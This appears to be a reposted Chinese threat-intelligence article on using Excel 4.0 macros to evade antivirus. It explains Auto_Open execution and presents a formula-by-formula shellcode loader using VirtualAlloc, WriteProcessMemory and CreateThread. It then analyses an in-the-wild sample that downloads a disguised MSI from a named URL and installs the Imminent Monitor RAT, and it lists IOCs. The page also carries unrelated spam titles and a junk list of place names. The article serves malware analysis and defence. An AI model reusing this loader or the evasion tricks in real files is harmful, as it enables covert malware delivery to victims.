中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

發布時間:2022-01-15 14:44:17 來源:億速云 閱讀:202 作者:柒染 欄目:網絡安全

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。

背景

2018年10月18日,360威脅情報中心首次捕獲到一例利用Excel 4.0宏傳播Imminent Monitor遠控木馬的在野攻擊樣本。而這離2018年10月6日國外安全廠商Outflank的安全研究人員首次公開使用Excel 4.0宏執行ShellCode的利用代碼僅僅過去了10余天。雖然Excel 4.0宏技術已經發布超過20年,并且在該技術出現早期就被經常用于制作宏病毒,但事實上,由于Microsoft很早就使用VBA宏(Visual Basic for Applications)來代替Excel 4.0宏技術,這導致Excel 4.0宏并不為大眾所熟知。并且由于Excel 4.0宏存放在Excel 97 - 2003格式(.xls,復合二進制文件格式)的Workbook OLE流中,這使得殺毒軟件解析并檢測Excel 4.0宏變得非常困難。

360威脅情報中心詳細分析了Excel 4.0宏在Excel文檔中的存儲方式,并通過深入研究發現:在使用一些技巧隱藏Excel 4.0宏并配合執行一些經過特殊處理的ShellCode后,可以完美的躲避幾乎所有殺毒軟件的靜態和動態查殺并執行任意惡意代碼。由于基于Excel 4.0宏的新型利用技術已經被公開,且已經出現了利用該技術傳播遠控木馬的在野利用,所以360威脅情報中心發布該分析報告并提醒預防此類攻擊。

極強的免殺能力

360威脅情報中心通過深入分析Excel 4.0宏在復合二進制文件格式中的存儲方式,構造了可以執行遠程任意惡意代碼的Exploit樣本。經測試,國內外多款著名殺毒軟件均無法對這類樣本實現查殺:

卡巴斯基靜態免殺

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

卡巴斯基動態免殺

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

ESET-NOD32靜態免殺

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

ESET-NOD32動態免殺

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

POC分析

Outflank的安全研究人員公開的POC樣本在VirusTotal上查殺效果如下,截止目前未有殺軟可以查殺,如果配合一些特殊的技巧還可以躲過殺軟的動態查殺:

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

執行過程分析

下圖是Outflank的安全研究人員給出的測試Excel4.0宏的樣本內容:

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

由于第一行第一列單元格名稱被設置成“Auto_Open”,所以當打開此表格并點擊了啟用宏內容按鈕時,Excel將會自動將此表格中的內容當成Excel 4.0宏執行。如果需要分析其執行過程,可以選中第一行第一列數據,右鍵選擇“執行”菜單:

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

然后在彈出的對話框中“位置”處選擇本Excel文件,然后點擊“單步執行”按鈕:

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

最后在彈出的對話框中可以看到公式內容,以及“單步執行”、“單步跳過”、“求值”等按鈕:

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

從調試過程來看,Excel首先執行第一行第一列中的宏代碼,即=EXEC(“calc.exe”),該指令執行完成后將會彈出計算器,同理可調試剩余兩個公式,以下是三個公式的具體含義:

公式內容  功能  
=EXEC(“calc.exe”)內部調用WinExec函數打開計算器
=ALERT(“Hello, World”)內部調用MessageBox函數打開對話框
=HALT()標識Excel 4.0宏結束,類似C語言return指令

樣本執行結果是打開計算器并彈出內容為“Hello, World”的對話框:

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

使用Excel 4.0宏執行ShellCode

由于Excel 4.0宏語言包括函數調用以及上百個內建函數,攻擊者可以編寫子程序或調用內建函數實現同VBA提供相同功能的惡意代碼,下圖是Outflank的安全研究人員提供的例子:

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

下表是各個宏公式具體含義:

公式內容  功能  
=REGISTER("Kernel32",  "VirtualAlloc", "JJJJJ", "VAlloc", , 1, 9)  設置kernel32!VirtualAlloc別名為VAlloc  
=VAlloc(0,1000000,4096,64)  調用VAlloc函數分配大小為1000000,內存屬性為PAGE_EXECUTE_READWRITE的內存  
=REGISTER("Kernel32",  "WriteProcessMemory", "JJJCJJ",  "WProcessMemory", , 1, 9)  設置kernel32!WirteProcessMemory別名為WProcessMemory  
=SELECT(R1C2:R999:C2,R1C2)  選擇第一行第二列所有數據  
=SET.VALUE(R1C3, 0)  設置第一行第三列數據為0  
=WHILE(ACTIVE.CELL()<>"END")  循環讀取剛剛選擇的數據直到“END”標識  
=WProcessMemory(-1, R2C1 +  R1C3 * 255,ACTIVE.CELL(), LEN(ACTIVE.CELL()), 0)  將剛剛讀取的內容寫入由VAlloc分配的內存地址  
=SET.VALUE(R1C3, R1C3 + 1)  將表格R1C3的值加一  
=SELECT(,  "R[1]C")     
=NEXT()  下一次循環  
=REGISTER("Kernel32",  "CreateThread", "JJJJJJJ", "CThread", , 1, 9)  設置kernel32!CreateThread別名為CThread  
=CThread(0, 0, R2C1, 0, 0,  0)  調用CThread函數創建線程并設置線程入口為由VAlloc分配的內存  
=HALT()  標識子過程結束,類似C語言的return  

總體來說,該Excel 4.0宏代碼實現的功能邏輯是:

第1步:調用kernel32!VirtualAlloc分配一段大小為1000000的可讀可寫可執行內存

第2步:循環讀取第二列的數據并調用kernel32!WriteProcessMemory函數寫入第1步分配的內存直到END標志

第3步:調用kernel32!CreateThread函數創建線程,并設置線程入口為第1步分配的內存

經過這3步操作,已然實現利用Excel4.0宏執行ShellCode的目的。

解析XLS中的Excel 4.0宏

Execl文件(.xls)解析

Execl 4.0宏樣本使用的XLS文件其實是一個MS-CFB(Microsoft Compound File Binary File)文件,而MS-CFB文件采用類似FAT文件系統的結構保存數據。很多現有工具可以解析該結構,比如OffVis、oletools、Structured Storage eXplorer等。學習MS-CFB文件結構推薦使用OffVis,以下是用該工具打開的效果圖:

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

讀取文件內容推薦使用StructuredStorage eXplorer,以下是用該工具打開的效果圖:

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

如需手工解析請參考:

https://msdn.microsoft.com/en-us/library/dd953721(v=office.12).aspx。

Book/Workbook解析

如上圖所示,XLS文件中的公式內容均保存到Workbook中,要想從中讀取公式就需要解析該結構。根據Microsoft提供的MS-XLS文檔可知該Workbook結構由一個個順序排列的record組成:

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

Record由三個字段構成,分別是記錄類型、記錄大小和記錄數據,以下是MS-XLS文檔所記錄:

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

記錄類型和記錄大小各占2個字節,記錄數據由記錄大小決定,如下圖所示該記錄類型為0x0809、記錄大小為0x0010(16bytes)、記錄數據為00 06 05 00 54 38 CD 07 C1 C0 01 00 06 07 00 00

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

其中,記錄類型必須為Microsoft提供的RecordEnumeration類型,類型表格請參考https://msdn.microsoft.com/en-us/library/dd945945(v=office.12).aspx。

Recode type為133(BoundSheet8)的recode包含了表格(sheet)的類型信息,包括表格名稱、隱藏狀態和表格類型等

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

以下是BoundSheet8的結構:

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

lbPlyPos占4bytes,指定了表格BOF記錄開始的book/workbook流偏移。

dt占1byte,指定了表格類型。

ValueMeaning
0x00Worksheet or dialog sheet  
0x01Macro sheet(Execl 4.0宏)
0x02Chart sheet  
0x06VBA module(VBA宏)

stName標識表格名稱,包含2bytes長度和字符串。

以本次分析的樣本為例:

sha256:ac6f6a9463dabeb485973a0bc440e740627e3d2a0593f1e6c26dbd116d6b2e3e

下圖標識了2個表格,其中第一個表格為可見、帶有Execl 4.0宏且名稱為Macro1,第二個表格屬性為可見、類型為Worksheet或dialog sheet且名稱為Sheet1。

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

由上圖可知,Execl 4.0宏表格BOF recode流偏移為0x001AF6,定位到流偏移為0x00001AF6的recode如下圖所示,其類型為2057,對應確實是BOF記錄:

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

然后從BOF recode開始遍歷,尋找記錄類型為6(Execl 4.0宏公式)的recode直到EOF recode:

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

Excel 4.0宏對象解析

記錄類型為6的recode包含了宏公式對象,其格式如下圖所示:

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

Cell占6字節,指定公式所在單元格。

FormulaValue占8字節,指定公式的值。

CellParsedFormula結構用于指定公式。

如下圖所示,包含2個Formula,第一個由數據0F 0017 08 00 63 61 6C 63 2E 65 78 65 42 01 6E

00指定公式,第二個由數據04 00 4200 36 00指定公式。

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

CellParsedFormula結構如下:

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

ccb占2字節,指定rgce大小。

rgce指定至少一個公式數據,包含函數號,參數等。

rgce結構大致如下圖所示

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

rgceType占2bytes,指定公式數據類型,類型請參考https://msdn.microsoft.com/en-us/library/dd948654(v=office.12).aspx。

下圖灰色背景16進制數據為樣本公式數據:

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

第一處公式數據解析結果如下:

l  0x000F表示公式數據長度,即ccb。

l  0x17表示公式數據類型,即rgceType,此處0x17表示PtgStr,即后面緊跟字符串。

l  0x0008表示公式數據長度,即sLen。

l  calc.exe表示數據,即data。

l  0x42表示公式數據類型,即rgceType,此處0x42表示PtgFuncVar。

l  0x01表示函數參數個數,即NumberOfArg,此處為0x01代表僅一個參數。

l  0x006E ^ 0x0001=0表示FuncID將從Ftab表中查詢,而不是從Cetab表中查詢

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

PtgFuncVar定義參考https://msdn.microsoft.com/en-us/library/dd907478(v=office.12).aspx。

l  0x006E表示調用函數的ID,即FuncID,此處為0x6E,查詢Ftab表可該調用EXEC函數,查詢參考https://msdn.microsoft.com/en-us/library/dd904817(v=office.12).aspx。

總體來說,第一處公式數據確定了調用EXEC函數,參數為”calc.exe”。同理,第二處公式調用Ftab表中的0x36號函數,查詢可知此處為調用HALT函數。

依次,則可以逐個解析Excel中的所有公式函數及相關數據。

在野樣本分析

傳播Imminent Monitor遠控木馬的攻擊樣本分析

360威脅情報中心在2018年10月18日首次捕獲到利用Excel 4.0宏傳播Imminent Monitor遠控木馬的攻擊樣本,在VirusTotal上僅有一家殺毒軟件能夠查殺:

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

Excel 4.0惡意宏代碼隱藏在表格中,選擇取消隱藏則可看到Excel 4.0宏代碼:

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

該宏代碼會從:

hxxps://jplymell.com/dmc/InvoiceAug5e1063535cb7f5c06328ac2cd66114327.pdf下載后綴為PDF的文件并執行。而該文件實際為一個惡意的msi文件,通過msiexec執行后會在%temp%目錄下解密釋放一個.NET類型的可執行文件,命名為033ventdata.exe并執行:

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

033ventdata.exe分析

該程序是經過混淆的.NET程序,代碼主要結構如下:

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

Form1中vBM=會調用gRQ=函數:

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

gRQ=函數會首先獲取一些配置信息,包括需要連接的CC地址:linkadrum.nl,并判斷當前進程路徑是否為”%temp%\ProtectedModuleHost.exe",若不是則移動當前文件到該目錄下,并刪除當前進程文件:

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

若進程路徑符合,則在啟動目錄下生成對應的LNK自啟動文件,實現自啟動:

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

之后啟動傀儡進程InstallUtil.exe,注入木馬程序的主控PE文件:

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

木馬主控部分分析

注入的木馬主控PE文件也是.NET程序,運行后會內存加載7z的LZMA的庫DLL,接著調用lzma庫去解壓自身攜帶的木馬主控EXE加載到內存執行。該EXE具有強混淆,內存加載執行后會通過linkadrum.nl上線并接受指令實現完整的遠控功能:

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

通過反編譯后還可以看到明顯的字符串特征:“Imminent-Monitor-Client-Watermark”

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

而ImminentMonitor RAT是一款商業遠控軟件,官方售賣網站為:imminentmethods.net,基本囊括了所有遠控功能:

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

早期利用Excel 4.0宏的宏病毒樣本

通過大數據關聯,360威脅情報中心還發現大量早期利用Excel 4.0宏進行傳播的宏病毒樣本:

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

MD5:66bceee6748d720dc6910f8cac7991da

該類宏病毒樣本在互聯網至少存活了數年,樣本是被Excel 4.0宏病毒感染了的Excel文件,以其中一個樣本作為示例分析,打開后如下圖:

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

右鍵點擊標簽欄,會發現該樣本隱藏了一個表(m1)_(m2)_(m3):

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

取消隱藏后,會發現在(m1)_(m2)_(m3)表里,還隱藏了列,取消隱藏列后會發現如下Excel 4.0宏代碼:

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

其中第一列就是Excel4.0宏的代碼,其功能為在C盤創建一個excel.txt文件,然后將表中C1:C108區域的內容寫入該文件。最后再利用VBA.INSERT.FILE把該excel.txt文件加載到當前運行環境中。最后利用run函數調用VBA里的createcabfile函數。createcabfile函數的作用是把B列的數據寫到C盤,然后解壓并隱藏,最后修改其Excel的模板文件,實現蠕蟲傳播功能。

防護及總結

從近年來的高級攻擊事件分析中可以看出,由于利用Office 0day等漏洞進行攻擊的成本較高,多數攻擊者更趨向于利用Office VBA宏執行惡意代碼。而對于本次公開的Excel 4.0宏利用技術則會對殺軟查殺帶來新的挑戰。企業用戶應盡可能小心打開來源不明的文檔,如有需要可通過打開Office Excel中的:文件-選項-信任中心-信任中心設置-宏設置,來禁用一切宏代碼執行:

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

目前,基于360威脅情報中心的威脅情報數據的全線產品,包括360威脅情報平臺(TIP)、天眼高級威脅檢測系統、360 NGSOC等,都已經支持對此類攻擊以及對該類免殺漏洞利用樣本的精確檢測。360威脅情報中心的自研查殺引擎也可以獨家靜態提取攻擊樣本中的宏以及ShellCode利用代碼:

利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例

IOC

MD5  
f4f785cc911925b8a2dd2bd2b2d1b6ef
URL  
https://jplymell.com/dmc/InvoiceAug5e1063535cb7f5c06328ac2cd66114327.pdf
CC  
linkadrum.nl

看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

平利县| 志丹县| 江陵县| 邵阳市| 敦煌市| 汝阳县| 兴城市| 志丹县| 光山县| 绥棱县| 文成县| 尼勒克县| 镇坪县| 兴山县| 洛扎县| 四川省| 津南区| 平原县| 辽源市| 东兴市| 通渭县| 和田市| 漾濞| 海原县| 新竹县| 武川县| 二连浩特市| 井研县| 阳谷县| 克山县| 北辰区| 德钦县| 汕头市| 宁海县| 峨山| 固始县| 柳河县| 略阳县| 阜新市| 文山县| 乌兰察布市|